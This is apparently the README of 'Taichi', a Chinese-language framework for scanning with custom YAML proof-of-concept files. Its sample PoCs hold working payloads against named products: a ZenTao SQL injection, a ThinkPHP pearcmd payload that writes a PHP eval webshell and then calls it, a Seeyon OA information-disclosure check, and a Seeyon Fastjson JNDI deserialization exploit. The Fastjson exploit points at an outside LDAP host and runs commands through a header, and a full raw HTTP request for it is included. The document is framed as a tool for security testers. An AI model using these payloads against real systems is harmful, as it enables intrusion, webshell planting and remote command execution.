此项目核心代码出现问题,正在修复中
2023.3.24
-
新增识别poc功能
-
新增扫描多个poc功能
2023.2.35
-
新增poc名称显示
-
新增蓝凌OA poc
2023.3.26
- 重构部分代码,删除attack.py
- 取消type参数
- 新增致远OA poc
- 适配dns探测
- 适配fastjson反序列化
2023.3.28
- 增加status参数
- 新增通达OA poc
2023.3.29
- 删除
http://
- 优化文档
开发这款工具的目的是为了让安全从业者,刚接触安全初学者更快编写poc。当然,我也知道有nuclei这样成熟好用的工具,但是自己动手丰衣足食,所以这款工具就诞生了。(大佬勿喷)
目前poc以及程序测试不多(有的漏洞几乎找不到了),为了提高效率,我一直在增加poc,所以可能会有较多bug,请见谅。
发现bug或者有建议欢迎联系我,我会尽我所能满足各位的要求。
支持自定义poc的漏洞扫描框架
python3 Taichi.py -h
usage: Taichi.py [-h] [-rh remote_host] [-f file_path] [-o outfile_path]
[-t thread_num] [-p poc_path] [-a all poc or exp]
Taichi by atk7r
options:
-h, --help show this help message and exit
-rh remote_host, --rhost remote_host
Please input host to scan.
-f file_path, --file file_path
Please input file path to scan.
-o outfile_path, --outfile outfile_path
Please input path for output file.
-t thread_num, --thread thread_num
Please input thread number.
-p poc_path, --poc poc_path
Please input poc path to scan.
-a all poc or exp, --all all poc or exp
Please input poc path to scan.
python3 Taichi.py -rh https://123.123.123.123 -p poc.yaml
python3 Taichi.py -rh https://123.123.123.123 -a /root/Taichi/pocs
python3 Taichi.py -f target.txt -p poc.yaml -o result.txt
python3 Taichi.py -f target.txt -a /root/Taichi/pocs -o result.txt
python3 Taichi.py -f target.txt -p poc.yaml -o result.txt -t 5
python3 Taichi.py -f target.txt -a /root/Taichi/pocs -o result.txt -t 5
|
|--------- configuration(配置文件)
|
|--------- model(模式文件)
|
|--------- pocs(poc文件)
注意:yaml文件中参数的位置不可以改变
实际上yaml都是一样的,我这里列出了四种不同情况供大家参考
#poc名称
- name:
- name: "CNVD-2022-42853"
#请求方式
- method:
- method: "post"
#漏洞的位置
- url:
- url : "/zentao/user-login.html"
#payload
- payload:
- payload: "account=admin' and (select extractvalue(1,concat(0x7e,(MD5(007)),0x7e)))#"
#response包里的状态码
- status:
- status: "200"
#response包里的关键字
- word:
- word:
- "8f14e45fceea167a5a36dedd4bea254"
#第二次访问的 请求方式
- method-V:
- method: "isNone"
#第二次访问的url位置
- verify:
- verify : "isNone"
#cmd 为了适配Java反序列化漏洞
- cmd:
- cmd : "isNone"
poc名称,用于扫描时显示
reques的方式,根据自己需求来定
因为我在采用了url+<拼接内容>这样的方法来访问url,例如:http://192.168.0.1/a/b/b.jsp,就要把/a/b/b.jsp填入url参数
顾名思义就是payload
response包里的状态码,根据burp的poc填写
response包里的关键字,目前只能写一个,根据burp的poc填写
不需要的时候写成
"isNone"
不需要的时候写成
"isNone"
不需要的时候写成
"isNone"
#poc名称
- name:
- name: "thinkphp_rce"
#请求方式
- method:
- method: "post"
#漏洞的位置
- url:
- url : "/public/index.php"
#payload
- payload:
- payload: "lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['cmd']);?>+/var/www/html/shell.php"
#response包里状态码
- status:
- status: "200"
#response包里的关键字
- word:
- word:
- "php_dir"
#第二次访问的 请求方式
- method-V:
- method: "get"
#第二次访问的url位置
- verify:
- verify : "/shell.php?cmd=phpinfo();"
#cmd 为了适配Java反序列化漏洞
- cmd:
- cmd : "isNone"
二次访问:字面意思就是第二次访问,因为有的漏洞上传webshell,需要访问webshell证明漏洞存在,就要进行二次访问webshell
response包的关键词,这里的关键字是二次请求response包的关键字,也就是说word始终是最后一个response包的关键字。用于判断漏洞是否存在,目前只可以支持一个参数
二次访问的请求方式,根据自己需求来
这个地方就是上面说的二次访问验证webshell的地方,如果你传了webshell,这个地方就填入你webshell的路径,例如:http://192.168.0.1/a/b/b.jsp,那这个地方就填入/a/b/b.jsp
#poc名称
- name:
- name: "SeeyouOA_A8_status_jsp_sensitive_information_disclosure1"
#请求方式
- method:
- method: "get"
#漏洞的位置
- url:
- url : "/seeyon/management/status.jsp"
#payload
- payload:
- payload: "isNone"
#response包里状态码
- status:
- status: "200"
#response包里的关键字
- word:
- word:
- "OS"
#第二次访问的 请求方式
- method-V:
- method: "isNone"
#第二次访问的url位置
- verify:
- verify : "isNone"
#cmd 为了适配Java反序列化漏洞
- cmd:
- cmd : "isNone"
- payload: "isNone"
这种无payload,信息泄露用这种较多
#poc名称
- name:
- name: "SeeyouOA_Fastjson_Deserialization"
#请求方式
- method:
- method: "post"
#漏洞的位置
- url:
- url : "/seeyon/main.do?method=changeLocale"
#payload
- payload:
- payload: '_json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://<IP>:1289/TomcatBypass/TomcatEcho","autoCommit":true}}'
#response包里状态码
- status:
- status: "200"
#response包里的关键字
- word:
- word:
- "root"
#第二次访问的 请求方式
- method-V:
- method: "isNone"
#第二次访问的url位置
- verify:
- verify : "isNone"
#cmd 为了适配Java反序列化漏洞
- cmd:
- cmd : "whoami"
- cmd : "whoami"
这种cmd有参数,之所以这样写,是因为request包有cmd参数
POST /seeyon/main.do?method=changeLocale HTTP/1.1
Host: x.x.x.x
Content-Length: 221
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
cmd: ipconfig #!!!这里!!!
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=26FF8158707BB0896A3ACD66EB92DD41; loginPageURL=
Connection: close
_json_params={"v47":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"xxx":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xxx.xxx.xxx:1289/TomcatBypass/TomcatEcho","autoCommit":true}}
总之,所有的参数都是重要的,参数错误或位置错误会导致报错或扫描失败,所以请不要随意更改参数位置并正确填写参数!